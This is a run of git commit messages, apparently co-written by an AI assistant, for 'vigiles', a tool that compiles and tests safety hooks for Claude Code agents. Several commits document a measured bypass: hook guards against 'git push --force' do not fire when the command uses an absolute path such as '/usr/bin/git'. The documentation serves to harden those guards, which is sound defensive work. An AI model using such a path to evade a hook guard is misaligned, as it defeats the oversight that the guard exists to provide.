* fix(site): replace unmeasured claims about other tools with a measurement
The hero opened with "Nothing checks that the tools, events, files and rules
your skills and hooks name actually exist." Nobody had ever run the other tool.
Two things were wrong with the sentence: it is a universal negative over every
tool that exists, which is unmeasurable, and on its own terms it is false for
one of its four nouns.
Measured instead, and the probe is committed as tools/measure-validate-overlap.mjs
so the next reader reruns it rather than trusting prose. Against Claude Code
2.1.263, seven planted defects, both harness shapes:
repo-local .claude/ 0 of 7 flagged, default AND --strict
packaged plugin 1 of 7 — "hooks.PreToolUze: unknown hook event"
The silence is real silence: the same binary errors on invalid manifest JSON
and on a hooks.json missing its root key, and warns on an agent with no
description, so it does read these files.
That measurement moved claims in BOTH directions, which is the point:
- Hero drops the universal negative and describes only what vigiles does.
- Wedge credits `claude plugin validate` with the hook-event check it really
makes, scoped to plugin form, and stops listing that check among the ones it
misses. A draft of this paragraph had it in the wrong column.
- docs/rules/hook-script-exists.md said the rule "matches Anthropic's own
`claude plugin validate`, making vigiles a superset on the hook surface".
Measured false — validate does not check hook-script existence at all. We
were under-crediting our own rule. Corrected in place rather than deleted, so
it does not read as a wording change and get added back.
- Same false credit removed from the subagent-frontmatter keyFile: validate
flags neither `model: sonnnet` nor `color: purpel`, and cclint was never run.
Every claim of exclusivity, scope or comparison now carries a comment above it
with the claim, the command that backs it and the version, what the earlier
version said and why it was wrong, and what would invalidate it. The record of
the mistake is the part that prevents the repeat.
Two live falsehoods found on the page while verifying the above:
- The first failure card and the `audit` example both used `event: "Setup"` as
a hook event that does not exist. `Setup` IS a real Claude Code event, with
its own docs sections; this repo's own catalog learned that on 2026-08-17 and
the site never followed. The page's opening example of "config that parses
and does the wrong thing" was config that works. Now `PreToolUze`, verified
wrong in both directions against the real binary.
- The `eval` row quoted the debunked claim as 65%. Three places in this repo
and the linked post all say 65%. A debunk that misquotes its own target is
the one number a reader checks in ten seconds.
Also: the hero's language chip said "Any language · 11 linter catalogs" — an
overclaim wrapped around a term a cold visitor cannot gloss, which never told a
Python developer that Ruff and Pylint are covered. It now names the languages,
still derived from BUILTIN_LINTERS, with a test that fails if a shipped linter
has no language decision or a covered language is missing from the display
order. Both directions proved by mutation.
The landing-site skill is committed in this public repo and carried a "backend
(roadmap)" design for an unbuilt capability plus a growth-loop framing, which
no-product-strategy-here forbids here. The technical guidance stays; the
roadmap and the growth narrative are gone.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* docs: replace the unmeasured exclusivity claim with the mechanism
"No other tool resolves rules across 11 catalog APIs" stood in five places.
It rested on a competitor matrix whose cells were checked against
DOCUMENTATION rather than against a run — the same matrix that put a false
claim on the landing page, corrected in the previous commit after measuring
the real binary.
Two independent reasons to drop it, not one:
1. It was never measured. Verifying it means enumerating 11 catalog APIs
across every comparable tool, which nobody did.
2. This repository is public, and its own `no-product-strategy-here` rule
forbids competitive positioning here outright. "The core moat" and "no
other tool" are positioning, so those lines were a rule violation
independent of whether they happened to be true.
Replaced with what the engine actually does, which a reader can check by
running it: the rule name is resolved against the linter's own catalog
rather than matched as a string, and the enabled state is read from the
project's config.
The removal is recorded in the source rather than performed silently. A
silent deletion reads as a wording change and invites the claim back; the
comment in linters.ts says what stood there and why it went.
Sites: docs/linter-support.md, docs/what-vigiles-catches.md,
src/core/linters.ts, CLAUDE.md.spec.ts, examples/CLAUDE.md.spec.ts (the two
CLAUDE.md artifacts recompiled).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(compile): the section size guard measured the wrong unit
`DEFAULT_MAX_SECTION_LINES = 200` reads as "a section may not sprawl" and
never fired on the section that actually sprawled. Two reasons, both
measured on this repo 2026-09-08:
1. The cap counts LINES. A `keyFiles` entry is ONE line of any length, so
`## Key Files` reached 173 KB — 59% of the compiled CLAUDE.md — while
staying far under 200 lines. Longest single description: 4782 chars.
2. `keyFiles` never reached the check at all. `compileKeyFilesSection` is a
separate path that calls `validateFileRef` and nothing else, so the one
section with no length control was the one that grew.
Both closed: a character budget beside the line budget (whichever runs out
first reports), and a per-entry cap on a key-file description, since an
entry is a pointer and the reasoning belongs in that file's own header
where a reader meets it on opening the file.
RATCHETED, not bare. Introduced bare these caps open with 60 findings and
get switched off the same day. `.vigiles/keyfile-debt.json` records the
existing oversize once; the caps report only what is NEW or has GROWN, and
a repo without the file gets every finding, which is the right default for
everyone else. Lowering a number is the fix; raising one is the edit the
file exists to make visible in review.
Verified in three directions, not one: silent on the recorded debt, fires
on an entry whose recorded size was lowered, fires on an entry removed from
the debt entirely.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(docs): withdraw the unmeasured #30519 matcher claim, and record the probe
`docs/compiled-hooks.md` and CLAUDE.md both said the native `if:` matcher
misses a compound `cd repo && git push -f`, citing #30519, and offered that
as a reason to prefer the AST-backed `runs()`. Measured against Claude Code
2.1.263: the native matcher CAUGHT the compound command, in both spellings.
Either the issue was fixed the way #34692 was, or the claim was wrong when
written. Withdrawn rather than repeated; a focused re-measure decides.
What the same run DID establish is a real gap, and a sharper one:
form input hook spawned
prefix git push --force origin main YES
prefix /usr/bin/git push --force origin main NO
glob git push --force origin main YES
glob /usr/bin/git push --force origin main NO
An ABSOLUTE program head is matched by neither spelling. That holds for
`Bash(git push:*)`, the form Anthropic ships in its own security-guidance
plugin, as much as for the glob form — so a guard written either way does
not run on `/usr/bin/git push --force`, which is the whole guard when the
hook body is unconditional.
The probe is committed as tools/measure-if-matcher-forms.mjs so the next
person re-runs it after a Claude Code minor instead of trusting this note.
It measures someone else's matcher, and prose cannot notice when that moves.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* refactor(claude-md): key files are pointers again — 73k tokens to 43k
`## Key Files` was 59% of the compiled CLAUDE.md. Its 266 entries had grown
from index lines into paragraphs, median 371 characters, longest 4782 — and
every one of them is loaded on every turn of every session in this repo.
Measured before cutting anything: 220 of the 266 files ALREADY carry the
same reasoning in their own header comment, usually in a fuller form. So
this is mostly not a move, it is deletion of a duplicate that had drifted
from the copy people actually read when they open the file. For the 17
entries whose file had no header, the prose was moved into one rather than
dropped; 29 short entries were left alone.
compiled CLAUDE.md 291579 -> 173682 chars ~72900 -> ~43400 tokens
AND THE RATCHET IS GONE. The cap landed an hour earlier with a
`.vigiles/keyfile-debt.json` recording 60 existing violations so it would
not open loud enough to be switched off. That was the wrong order of work:
a mechanism to tolerate the problem, invented instead of spending one pass
fixing it. With the entries pruned the debt file is empty, so both it and
the code reading it are deleted and the cap stands bare — 0 findings on a
clean tree, fires on a lengthened entry.
The section CHARACTER cap goes with it, for the same reason it should never
have shipped ratcheted: `positioning` is 24877 characters and would fail it
today, and a guard that cannot fire is the defect this product is about.
That section is a real and separate piece of work, named here rather than
recorded as debt.
Verified in both directions on a clean tree: silent at 0 findings, and a
mutation that lengthens one description fails on its own assertion.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* docs(tools): record the WIDENED if: forms, which are the ones that are sound
The probe measured the two `if:` spellings found in the wild and stopped
there, leaving the useful half unmeasured: what a native `if:` would have to
look like for a compiler to be allowed to emit one.
Measured on Claude Code 2.1.263:
emitted if: plain absolute unrelated
Bash(git push *--force*) fires NO no
Bash(git push:*) fires NO no
Bash(*git*) fires fires no
Bash(*) fires fires fires
The natural translation of a typed predicate is strictly NARROWER than the
body it guards — it misses an absolute program head — so emitting it turns a
guard off on exactly the input a careful author wrote it for. Widening to the
PROGRAM NAME alone keeps every case the body would catch and still filters
unrelated commands, which is the property an emission needs: it may only ever
add spawns, never remove one.
Flags and subcommand refinement are dropped on purpose. Including them is what
makes the natural translation too narrow, and the body re-checks them anyway.
Left explicitly unmeasured so nobody assumes it: the widening for `touches()`
and `pipesToShell()`. Either may have none, and the honest answer for such a
primitive is to emit nothing rather than something that looks like a filter.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* refactor(claude-md): the two "layer" paragraphs point at their guides again
`## Positioning` was 24891 characters, and two of its twelve paragraphs
were 64% of it:
Second layer — testing the harness 7859 chars
Third layer — COMPILED HOOKS 8108 chars
Both are summaries of a document that already exists, is far richer, and
was already linked from the same paragraph:
docs/harness-testing.md 37114 chars 4.8x the summary
docs/compiled-hooks.md 62167 chars 7.8x the summary
Same shape as the key-files entries in the previous commit: a copy that
duplicates the text people actually read, drifts from it, and is loaded
into every session's context whether or not the turn is about hooks.
What was KEPT in each is the part that constrains what gets built or
claimed, because that has to be in context and cannot live behind a link:
the tier discipline (push a question down a tier; only firing and
behaviour-movement touch a real model), that the mock-model tier is table
stakes and must not be sold as distinctive, the `experimental_*` marking,
that compile and verify fix authoring and logic and never delivery, and
that a gate is a strong default and never an unbypassable wall. What went
to the guides is the mechanics: the tier APIs, the role family, the
vocabulary, the stamp.
## Positioning 24891 -> 11361 chars
CLAUDE.md 43420 -> 40038 tokens (72894 before this branch)
The section CHARACTER cap is still not restored, and this says why rather
than leaving it looking forgotten: `## Rules` is 82586 characters and would
fail any cap that means anything. Rules are a different problem — measured
across 53 of them, median 1449 characters, and unlike a key-files entry or
a layer summary there is no richer copy elsewhere to point at, because a
rule's text IS the instruction. Trimming it loses information rather than
removing a duplicate, so it is judgement, not a mechanical pass, and a
500-char cap would open on 40 of 53 and be switched off the same day.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* refactor(hook)!: a bash gate is Bash by construction — delete its match field
`HookProgram.match: { tool: string }` was a representable illegal state, and
the same false-confidence class the module header says this subsystem exists
to eliminate:
if (rawEvent.tool_name !== program.match.tool) return allow();
`match: tool("Edit")` type-checked, compiled, wired a PreToolUse matcher
`Edit`, fired on edits, built `commandView("")` from a missing
`tool_input.command`, found every predicate false and returned allow() — a
silently dead guard. The comparison was `!==` while every sibling role routes
through `matchesTool`; that runtime/emit disagreement is the one MEASURED and
fixed for reacts on 2026-08-12 and documented in this very file's header. It
survived on the flagship role.
The field carried no information either: `BashToolEvent.tool` is the literal
"Bash", and all 34 call sites across both repos wrote `match: tool("Bash")`.
So the fix is deletion rather than unification: the matcher moves to
`hookRouting`, the runtime keeps a defensive `!== "Bash"` on a literal nobody
can mis-set, and the author's file loses a line it could only get wrong.
BREAKING CHANGE: `tool` is no longer exported from `vigiles/hook`, and
`HookProgram` no longer accepts `match`. Both are part of the compiled-hook
vocabulary, whose entry points are `experimental_*`; taken now precisely
because the vocabulary is still young. `tools()` — the plural, for file gates
and reacts — is untouched, and so is the `tool()` CHECK in `vigiles` (a
different function that happens to share the name).
Found by an architecture review that was asked to break a different proposal.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(hook): restore the CHECK `tool()` a careless sweep took with it
The previous commit removed `tool` from the compiled-hook vocabulary, and the
regex that cleared its call sites also stripped `tool,` from `src/test.ts` —
the `vigiles` ROOT barrel, where a DIFFERENT `tool()` lives: the check from
`src/check.ts`, used as `assertChecks(run, [tool("Bash")])`. Two unrelated
functions that happen to share a name, and the sweep could not tell them
apart.
That silently removed a stable public export. Nothing in the change was
about it, the commit message did not mention it, and the api-surface diff
that would have shown it was regenerated only afterwards.
Caught by `docs-imports`, which type-checks the code blocks in `docs/` against
the real surface and failed on `docs/testing-api.md:210` importing `tool` from
`"vigiles"`. Worth noting which gate did it: the unit tests stayed green,
because no test imports that symbol from the root barrel. A doc example was
the only consumer standing in for every external one.
Also completes the docs half of the previous commit, which shipped without
it: `docs/compiled-hooks.md` still imported `tool` from `vigiles/hook` in
three places, wrote `match: tool("Bash")` in four, and listed `tool(name)` in
the vocabulary — all naming a function that no longer exists. And
`api-surface/vigiles-hook.api.md` is regenerated, so the removal is visible
as a reviewed diff rather than a surprise.
Gates: `npm run check` — the only failure is `cli-lint`, whose 480 errors are
all inside other sessions' gitignored worktrees (0 outside; CI never sees
them). `docs-imports` 0 findings. `src/hook.test.ts` +
`src/core/hook-program.test.ts` 120/120.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(examples): drop the `tool` import the sweep left behind
Two example hooks kept importing `tool` from the hook vocabulary after the
sweep removed their `match: tool("Bash")` line — and `tool` no longer exists,
so the module failed to load:
HookCompileError: Cannot load hook "examples/harness/protect-main.hook.mjs":
Named export 'tool' not found.
`compiled-hook-inprocess.harness.mjs` loads that file BY PATH and asserts over
its decisions, so it went red. The runtime behaved correctly — a hook that
cannot load must not pass traffic — which is why the failure surfaced as a
refusal rather than a silent skip.
HOW IT REACHED CI, which is the part worth recording: `npm run check` prints
the CI jobs it does not cover, and `harness` was on that list. The change
touched hooks throughout. I read the list, decided the harness tier was the
known-environment-red one (`claude` 2.1.187 pinned vs 2.1.263 installed) and
skipped it — while the note that records that redness says in as many words
that redness IN CI is no longer environmental. The printed list did its job;
I did not do mine with it.
The unit tiers could not have caught this either: `src/hook.test.ts` writes
its fixtures as source text and was updated with the sweep, so 120/120 stayed
green while a shipped example was unloadable.
Verified: `node examples/harness/compiled-hook-inprocess.harness.mjs` → 6/6.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(test): the `tool` import inside a fixture STRING, which no sweep reached
`hook-state-store.test.ts:387` expected a throttled gate to stay quiet on a
ten-minute-old fact and got `blocked: true`. The gate was not misbehaving —
it could not load:
const THROTTLED_GATE = `import { experimental_defineHook, tool, state, … }`
`tool` was removed two commits ago, so the module threw on import and the
runtime failed closed, which is correct behaviour for a gate that cannot run.
Same in `hook-load-wedge.test.ts` and `core/hook-program.test.ts`.
WHY THIS TOOK THREE ROUNDS TO FINISH, since that is the reusable part. The
reference lived in four forms and a regex over source reaches one:
real import in an example .mjs caught by the CI `harness` job
re-export in a barrel caught by `docs-imports`
import inside a template STRING caught by the CI `test` job
code block in a doc caught by `docs-imports`
That is verbatim the class already written down in this project's own notes
after `.claude/pipeline/` was relocated — "four forms of a reference, of which
a path search sees ONE" — including its conclusion that the only check which
covers all four is one that RESOLVES the reference, not one that greps for it.
I could have quoted the rule and still edited by regex and verified by a
subset, three times running.
Verified this time by the whole suite rather than the files I expected to
break.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(test): a FIFTH spelling of the same import — built by concatenation
`cli-coverage-record.test.ts` builds its fixture's import line with string
concatenation:
`import { experimental_defineHook, tool, deny, allow } from ` +
JSON.stringify(HOOK_ENTRY) + …
so no search for `from "…"` reaches it. Two tests failed because the fixture
hook could not load and the runtime failed closed — correct behaviour, stale
fixture.
That is the fifth form this one removed symbol lived in. The running tally,
because the tally is the finding:
real import in an example .mjs caught by the CI `harness` job
re-export in a barrel caught by `docs-imports`
import inside a fixture template caught by the CI `test` job
code block in a doc caught by `docs-imports`
import assembled by concatenation caught by the full local suite
Five spellings, four different gates, and every one of them found by a gate
rather than by the sweep that created the problem. The lesson already written
down in this project — that a reference search sees one form and only
RESOLVING the reference sees all of them — held on every round.
Verified: `npx vitest run src/cli-coverage-record.test.ts` 16/16.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* docs: say why the emitted hook block has a matcher and no native `if:`
Claude Code lets a hook action carry an `if:` precondition, checked before the
hook process spawns. `vigiles compile` does not emit one, and the guide never
said why — the first question a reader who knows Claude Code will ask, with no
public home. That fails `document-the-why`.
The rule the decision rests on: a prefilter may only ever be a proven SUPERSET
of the typed predicate. Narrower and the process never starts, nothing is
logged, and the guard reads as passing — the silent-guard bug this whole page
exists to make unwritable.
The safe superset is not a useful filter: `command.runs("git push", {force})`
is AST-backed (compound, subshell, pipeline, absolute program head), and the
narrowest string condition provably covering that is about `Bash(*git*)`. Same
measurement as the "Matcher bypass" row (tools/measure-if-matcher-forms.mjs,
2.1.263).
Two smaller reasons: `if:` is Claude Code only (Codex has no equivalent field,
so emitting it would make one typed source mean different scopes per harness),
and it would not buy the latency it appears to — same-event hooks run
concurrently, so a filtered-out hook does not shorten the turn by its own
duration. Per-event cost is the runtime's startup, which is where it belongs.
Also cross-referenced from the "Runtime cost" limitation, which previously left
`if:` looking like the obvious escape hatch.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* docs: `tool` is no longer in the hook vocabulary — the Status list still named it
`tool("Bash")` was removed from `vigiles/hook` earlier today: a bash gate is
Bash BY CONSTRUCTION, the matcher is emitted for the author, and every call site
in both repos wrote the same literal. The removal swept the imports, the
`match: tool("Bash")` lines and the vocabulary bullet — and missed this one.
The Status/pending section lists the vocabulary as prose to explain why only the
entry points carry the `experimental_` prefix. `tool` sat in that list, naming a
symbol that no longer exists, in a section about a different subject.
Measured limit this exposes: nothing catches it. self-command-refs resolves
`vigiles <cmd>` invocations; doc-refs resolves marks inside fenced ts blocks.
A vocabulary word named in PROSE is a form neither resolves, and a grep for the
symbol also matches the CHECK `tool()` in docs/testing-api.md, which is a
different, live function — so the sweep that would have found it also had to
tell two same-named symbols apart.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* docs: reading an `if:` and emitting one are different acts — say so
The new "why no native `if:`" section explained the refusal to EMIT a condition
and left a reader free to conclude vigiles ignores the field entirely. That
inference is wrong in a way that costs trust in a different feature: the test
tiers already honour a hook's own `if:` when measuring it (`decideHookCondition`,
src/core/hook-condition.ts, on main since #211), precisely so a guard is scored
as the harness would really run it rather than as an unconditional stand-in that
flatters it.
One paragraph, stated as the asymmetry it is: we read yours, we do not generate
one for you, because a generated filter can be narrower than the program behind
it and a hand-written one is the author's own declared intent.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* docs: cut a paragraph that took five lines to carry one fact
"None of this means vigiles ignores `if:`. Reading one and emitting one are
different acts." — an aphorism standing in for a point, opening on a negation of
an objection nobody raised, then five lines to say one thing. It broke this
repo's own prose-clarity rule at the first sentence: lead with the point.
Two lines now, the fact first: an `if:` you wrote is honoured, `runHook` reads
it, only generating one is refused.
Also dropped "a bad trade at any price" from the paragraph above — the preceding
sentence already establishes that the failure is silent, so the flourish added
emphasis to a point that was already made.
Correction to 9898a76, which this supersedes in content: that commit's message
describes only my paragraph, but the commit also carried two edits another agent
made to the same file (the 650→80 ms measurement and the rewritten Runtime cost
bullet). `git commit <pathspec>` separates files, not authors; a shared file
cannot be split that way. Left in history rather than rewritten — the content is
right, and force-pushing a branch with live writers on it is the worse trade.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* test(skills): hold the contributor skills to the trigger-rate bar
Of the 14 skills under .claude/skills/, 9 were model-invocable and only 2
(ship-a-feature, generate-logo) had a trigger-rate eval; 7 could auto-fire
with no measurement. The first question per skill was not "write an eval"
but "should this auto-fire at all" — a skill a human always reaches for by
name costs nothing to disable and leaves the trigger surface entirely.
Disabled (disable-model-invocation: true):
- dogfood-cli — a deliberate multi-agent find-and-fix session a human
starts on purpose; its own body says "NOT for a single known bug".
- verify-docs-findable — a scheduled, cost-bearing docs audit with an
argument-hint; already shaped as a command. Disabling it also dissolves
its overlap with review-docs without an eval.
- deep-research — both of its save targets (research/, the startup/
vault) no longer exist in this repo; the skill is stale here and its
description invites competitive/market research this repo does not
hold. (Despite the CLAUDE.md label, neither it nor review-docs is
vendored: both were authored in-repo, 39b729a and a0dddb7.)
Kept model-invocable, each with a trigger eval on the ship-a-feature
template (>=10 recall + >=10 precision prompts, stubSkillBodies, drawn
from this repo's real work):
- code-quality — "clean this up" never carries the skill's name.
- landing-site — a design bar that must arrive BEFORE site/ is touched.
- screenshot — a miss makes the model reach for the blocked
`playwright install` or capture scroll-reveal sections blank.
- review-docs — authored as auto-triggering ("review the readme").
Two genuine prompt-space overlaps are named in the eval headers and
deliberately left out of every precision bank rather than picked around:
code-quality vs ship-a-feature on "new public export", and landing-site
vs screenshot on "screenshot the landing page". Those are
measureSelectionMatrix questions over the whole .claude/skills/.
The evals were authored, not run (keyless env; a real-model eval spends
money). The thresholds are the template's defaults, uncalibrated.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(skills): deep-research routed strategy findings into a public repo
Its "Where to save" section named two directories, and NEITHER exists — both
were removed in #68. So the routing has not worked for some time, and the way it
fails is the problem:
- `research/<topic>.md` — gone.
- "Sensitive: competitive / VC / strategy / fundraising → the encrypted
`startup/` vault (see `startup/CLAUDE.md`)" — gone.
Two defects, and the second is not cosmetic. The line DISCLOSES that a private
strategy vault exists, in a public repository. And because the vault it names is
deleted, an agent following the instruction today has nowhere to put competitive
or fundraising material except this repo — the skill's own safety valve had
become a funnel toward the exact content `no-product-strategy-here` forbids.
Rewritten to say what is true now: technical findings go to a `docs/` page or a
contributor note cited from keyFiles (the tier decided by public-vs-internal-docs
and doc-tiers); strategy, market, pricing, GTM and roadmap research goes into no
directory here at all, because the rule is unconditional and a deleted file
survives in history and on other branches. Findings come back in the answer
instead, for a human to place privately.
Found while verifying a subagent's report rather than accepting it — the skill
was in scope for a frontmatter change and this is a body defect it flagged and
correctly declined to patch under its brief.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* perf(hook): a decision no longer loads the CLI to decide allow/deny
A compiled hook runs on every matching tool call, and `dist/cli.js` is the bin —
so `vigiles hook-runtime run-program` resolved ~85 top-level imports (compile,
lint, audit, eval, init, the report template loader) before argv was parsed, to
answer a question that touches none of them. CommonJS gives no way to defer that
from inside the file; the entrypoint had to split.
MEASURED, Node 22.22.2, median of 20 spawns, `tools/measure-hook-startup.mjs`,
before = 04f2c2a:
layer before -> after
bare `node -e ''` 42 -> 41 ms
require dist/core/hook-program.js 170 -> 64 ms
require dist/hook.js 171 -> 64 ms
end-to-end run-program before -> after
bash gate (safe-bash-guard.mjs) 661 -> 199 ms 3.3x
file gate 628 -> 80 ms 7.9x
inject 610 -> 83 ms 7.3x
For scale: a shell hook doing the same job is ~12 ms and a python one ~35 ms.
Roughly 40 ms of what remains is Node itself starting.
Four lazy boundaries, each with its measurement at the call site:
src/cli.ts reduced to a dispatcher shim with NO top-level imports;
the verbs moved verbatim to src/cli-main.ts
src/hook-runtime.ts the run-program runtime, lifted out of the verb barrel;
the adapter registry (279 ms) is required only by react
core/hook-program.ts @iarna/toml (56 ms) at its one serialize site
hook-install.ts the same, and it is the edge that put toml back into
every decision through hook-state-store's normalizeHookRef
core/bash-effects.ts mvdan-sh (~100 ms) on first parse, not at module load
The parser deferral is clean rather than forced: `decideProgram` returns allow()
before building a commandView when the tool is not Bash, and every entry point in
bash-effects begins by parsing — so no path reaches the parser without needing
it. A bash gate still pays, and that is the work it asked for.
THE EMITTED COMMAND IS BYTE-IDENTICAL, which outranks the win: `npx vigiles
hook-runtime run-program <file>` is baked into every already-emitted settings
block and covered by the SHA stamp beside each hook. Verified by compiling the
same gate and inject with both trees and diffing the artifacts — `.claude/
settings.json`, `.codex/config.toml` and both stamp sidecars are identical.
The invariant is asserted as a MODULE GRAPH, not a duration (#216 asks for this:
a timing threshold on a shared runner is flaky and gets quarantined first).
src/hook-runtime-graph.test.ts dumps require.cache from the real spawned CLI, so
it sees the lazy requires a static scan would miss, and it asserts both
directions — a bash gate DOES load mvdan-sh, `--help` DOES load the barrel.
Proven to fire: hoisting each of the three imports back turns it red on its own
assertion, and the tree is green again with them restored.
Docs updated where the old claim was now wrong: the public runtime-cost bullet
said "tens to hundreds of ms" and now states the measured per-role figures.
Closes#216.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* refactor(config)!: rename the `testGlobs` rule option to `include`
One config file, two words for "the set to consider". `orphans` took `include`
(`options.include ?? DEFAULT_INCLUDE`, its own doc calling them "tsconfig-style
glob arrays") while the `untested-*` rules took `testGlobs` for the same job with
the same replace semantics. Both already had `exclude`. Now both read
`include`/`exclude` and mean the same thing by them.
Semantics are UNCHANGED — `include` replaces the defaults, as `orphans.include`
does, as tsconfig and vitest do. No alias and no fallback: a stale `testGlobs`
key is simply not read.
WHAT THIS EXPOSED, which outlasts the rename: `.vigilesrc.json` is an UNGUARDED
public surface. `testGlobs` ships in v26.0.0 through v26.1.1 and is documented
with a copy-paste example, so a user can have it committed today — yet every one
of the eighteen checks passes on this diff. `api-surface/*.api.md` guards TS
exports and `TestCoverageOptions` is not one; nothing at all watches config keys.
The property that makes a rename consequential is precisely the one no gate sees.
Renamed across 14 files: the option in core/types.ts, its consumers
(test-coverage, coverage-evidence, audit-score, cli-main), three test suites, and
five docs plus HANDOFF.md. The eight `.claude/worktrees/agent-*/` copies are
other sessions' gitignored trees and were deliberately not touched.
Gates: format RC=0 (`prettier --check .`, clean) · targeted vitest RC=0
(test-coverage, cli-untested-options, cli-nudge-config — 80 tests) · `npm run
check` RC=1 on `cli-lint` ONLY, whose 480 errors are 480-of-480 inside
`.claude/worktrees/`, zero in tracked files — the same pre-existing condition
recorded on this PR when it was 18 errors. `api-surface` passed (14.5s).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix(lint): "A `include` entry" — the rename left bad grammar in a user-facing message
The `testGlobs` → `include` rename produced "A `include` entry WITHOUT
{surface}…" in the untested-surface advisory. It shipped to a place I could see
it: the `vigiles lint` output posted as this PR's sticky comment.
Two passes had already fixed the same a/an break in docs/rules/untested-skill.md,
src/test-coverage.test.ts and src/coverage-evidence.ts — and both missed this
one, because the string is assembled from template literals with ESCAPED
backticks (A \`include\` entry). A grep for "A `include`" cannot match it. That
form is on this repo's own list of reference spellings a search does not reach,
alongside a path built by concatenation and an import inside a fixture string.
Found by reading the tool's actual output rather than the source, which is the
only view where the assembled sentence exists at all.
Gates: prettier --check on the file RC=0 · vitest src/test-coverage.test.ts RC=0
(69 passed).
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* feat(harness): nudge when product code moves and no doc follows
`doc-consistency` says: ship, rename or remove a capability and update its docs
in the SAME change, across BOTH tiers — public `docs/` + README, and the
contributor record in `CLAUDE.md`. That rule is prose, and this evening measured
what prose is worth:
· `tool()` was deleted from the hook vocabulary while docs/compiled-hooks.md
kept listing it as vocabulary — through TWO sweeps of that same file.
· An exclusivity claim outlived the measurement that withdrew it.
· deep-research routed findings to a `startup/` vault deleted in #68.
No check caught any of them. self-command-refs resolves `vigiles <cmd>`;
doc-refs resolves marks in fenced ts blocks; orphan-docs finds unreferenced
files. Prose describing a capability whose BEHAVIOUR changed is invisible to all
three — nothing about it is broken, it is merely no longer true.
WHY A HOOK, NOT A LINT RULE. `lint` reads a checkout; "the code changed and the
docs did not" is a property of a DIFF. A tree-level rule would have to guess
which prose belongs to which symbol, which is undecidable, and by
lint-rule-calibration a heuristic can never gate. A hook sees edits accumulate
across a session, which is the only place the fact exists.
WHY NOT ship-a-feature. That skill covers this for a NEW export, with executable
DOCUMENTED/FINDABLE checks. Its own trigger eval asserts it stays QUIET on
"Rename the internal helper posixly to toPosix" and "Tighten the wording in
docs/compiled-hooks.md" — firing there is a false positive against
maxFalsePositive: 0.2. Widening it would break its own precision assertion, so
this covers what that skill is measured NOT to.
TWO FACTS, NOT ONE, and the test asserts them apart. `docs.followed` is recorded
on any doc edit, so a session already maintaining its docs stays silent; that
silence is SUCCESS. `docs.nudged` is the rate limit; that silence is a CAP. One
fact could not tell them apart, and the hook would then go quiet for two hours
after a single doc edit.
Tests are excluded from the trigger deliberately: a test states what the code
already does, so a test-only edit changes no documented behaviour. Including
them would make it fire through ordinary red-green work, which is how a nudge
gets muted.
Gates: vitest src/docs-drift-nudge.test.ts + src/test-tier-nudge.test.ts RC=0
(34 passed) · prettier --check . RC=0 · `vigiles compile` wired it into
.claude/settings.json and wrote its SHA stamp.
MUTATION, patch proven landed before the run: deleting the `docs.followed`
branch (collapsing the two silences) fails exactly one test — "QUIET because
docs are being edited (success)" — and restoring it returns 11/11.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* test(coverage): credit the tests this repo already had — 25 untested surfaces to 14
vigiles ships `include` with a `{surface}` placeholder for exactly the case where
a test lives somewhere other than beside its surface, and this repo had never
configured it. So its own audit called eleven tested surfaces untested, including
four trigger evals written today and both compiled hooks.
MEASURED, each step run rather than reasoned:
25 baseline
16 `examples/harness/dogfood/{surface}.trigger.eval.mjs` on untested-skill
— credits fable's four new evals plus generate-logo, strengthen,
test-harness, edit-spec, debug-my-harness
25 adding a SECOND, narrower list to untested-hook — the count went BACK UP
16 one identical list on both rules
15 renaming src/docs-drift-nudge.test.ts → .hook.test.ts
14 the same for test-tier-nudge
TWO THINGS THAT SURPRISED ME, both worth knowing before touching this config:
1. THE OPTIONS ARE SHARED ACROSS THE `untested-*` RULES. Setting `include` on
untested-hook REPLACED what untested-skill had, and nine credited surfaces
silently went back to untested. docs/rules/untested-subagent.md does say the
options are shared; the failure mode it produces — a second config UNDOING the
first, with the count moving in the alarming direction — is not obvious from
that sentence. The lists are identical on both rules deliberately.
2. A HOOK'S SURFACE NAME CARRIES `.hook`. `{surface}` for
`.vigiles/hooks/docs-drift-nudge.hook.mjs` is `docs-drift-nudge.hook`, not
`docs-drift-nudge` — so `src/docs-drift-nudge.test.ts` did not bind and
`src/docs-drift-nudge.hook.test.ts` does. Established by renaming and watching
the count, not inferred from the suggestion string.
The first two globs restate DEFAULT_TEST_GLOBS on purpose: `include` REPLACES the
defaults rather than extending them, so omitting them would strip credit from
every `*.harness.*` and `*.eval.*` in the repo while the number looked better.
The 14 that remain are honest: five shell hooks under `hooks/` and nine skills
with no test of any kind.
Gates: vitest both renamed suites RC=0 (34 passed) · prettier --check . RC=0 ·
`node dist/cli.js lint` re-run after every step above.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
* fix: two committed artifacts drifted from the files they index
CI went red twice, both mine, both from the same shape — an artifact that is
GENERATED but COMMITTED, so adding or renaming a source file silently invalidates
it until it is regenerated in the same change.
1. `generated-types:committed` on ed9eaf1. `.vigiles/generated.d.ts` enumerates
every project file; `src/docs-drift-nudge.hook.test.ts` was not in it. The
gate is `git diff --exit-code .vigiles/generated.d.ts`, so the artifact must
be regenerated AND committed — regenerating alone leaves it red.
2. The SPEC REFERENCE check on 6ce464a:
